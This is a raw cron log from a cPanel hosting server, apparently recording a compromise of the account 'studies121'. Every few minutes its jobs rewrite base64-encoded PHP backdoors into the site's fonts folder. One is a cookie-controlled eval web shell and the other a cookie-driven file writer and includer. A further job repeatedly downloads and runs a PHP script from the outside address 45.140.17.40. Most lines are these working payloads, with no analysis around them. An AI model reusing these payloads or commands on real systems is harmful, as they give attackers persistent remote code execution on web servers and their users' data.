Sep 12 13:22:01 ip-184-168-122-23 CROND[509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:22:01 ip-184-168-122-23 CROND[510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:22:01 ip-184-168-122-23 CROND[511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:23:01 ip-184-168-122-23 CROND[606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:23:01 ip-184-168-122-23 CROND[605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:23:01 ip-184-168-122-23 CROND[603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:23:01 ip-184-168-122-23 CROND[604]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:24:01 ip-184-168-122-23 CROND[705]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:24:01 ip-184-168-122-23 CROND[707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:24:01 ip-184-168-122-23 CROND[709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:24:01 ip-184-168-122-23 CROND[708]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 13:24:01 ip-184-168-122-23 CROND[711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:25:01 ip-184-168-122-23 CROND[941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:25:01 ip-184-168-122-23 CROND[943]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 13:25:01 ip-184-168-122-23 CROND[945]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:25:01 ip-184-168-122-23 CROND[947]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 13:25:01 ip-184-168-122-23 CROND[951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:25:01 ip-184-168-122-23 CROND[950]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:26:01 ip-184-168-122-23 CROND[1042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:26:01 ip-184-168-122-23 CROND[1045]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:26:01 ip-184-168-122-23 CROND[1044]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:26:01 ip-184-168-122-23 CROND[1047]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 13:26:01 ip-184-168-122-23 CROND[1046]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:27:01 ip-184-168-122-23 CROND[1139]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:27:01 ip-184-168-122-23 CROND[1141]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:27:01 ip-184-168-122-23 CROND[1143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:27:01 ip-184-168-122-23 CROND[1142]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:28:01 ip-184-168-122-23 CROND[1230]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:28:01 ip-184-168-122-23 CROND[1232]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 13:28:01 ip-184-168-122-23 CROND[1235]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:28:01 ip-184-168-122-23 CROND[1233]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:28:01 ip-184-168-122-23 CROND[1234]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:29:01 ip-184-168-122-23 CROND[1331]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:29:01 ip-184-168-122-23 CROND[1333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:29:01 ip-184-168-122-23 CROND[1334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:29:01 ip-184-168-122-23 CROND[1335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:30:01 ip-184-168-122-23 CROND[1462]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 13:30:01 ip-184-168-122-23 CROND[1465]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:30:01 ip-184-168-122-23 CROND[1467]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 13:30:01 ip-184-168-122-23 CROND[1468]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:30:01 ip-184-168-122-23 CROND[1469]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 13:30:01 ip-184-168-122-23 CROND[1470]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:30:01 ip-184-168-122-23 CROND[1466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:30:01 ip-184-168-122-23 CROND[1464]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 13:31:01 ip-184-168-122-23 CROND[1653]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:31:01 ip-184-168-122-23 CROND[1655]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:31:01 ip-184-168-122-23 CROND[1657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:31:01 ip-184-168-122-23 CROND[1656]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 13:31:01 ip-184-168-122-23 CROND[1658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:32:01 ip-184-168-122-23 CROND[1749]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 13:32:01 ip-184-168-122-23 CROND[1753]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:32:01 ip-184-168-122-23 CROND[1751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:32:01 ip-184-168-122-23 CROND[1752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:32:01 ip-184-168-122-23 CROND[1754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:33:01 ip-184-168-122-23 CROND[1851]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:33:01 ip-184-168-122-23 CROND[1852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:33:01 ip-184-168-122-23 CROND[1853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:33:01 ip-184-168-122-23 CROND[1854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:34:01 ip-184-168-122-23 CROND[1965]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:34:01 ip-184-168-122-23 CROND[1966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:34:01 ip-184-168-122-23 CROND[1968]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
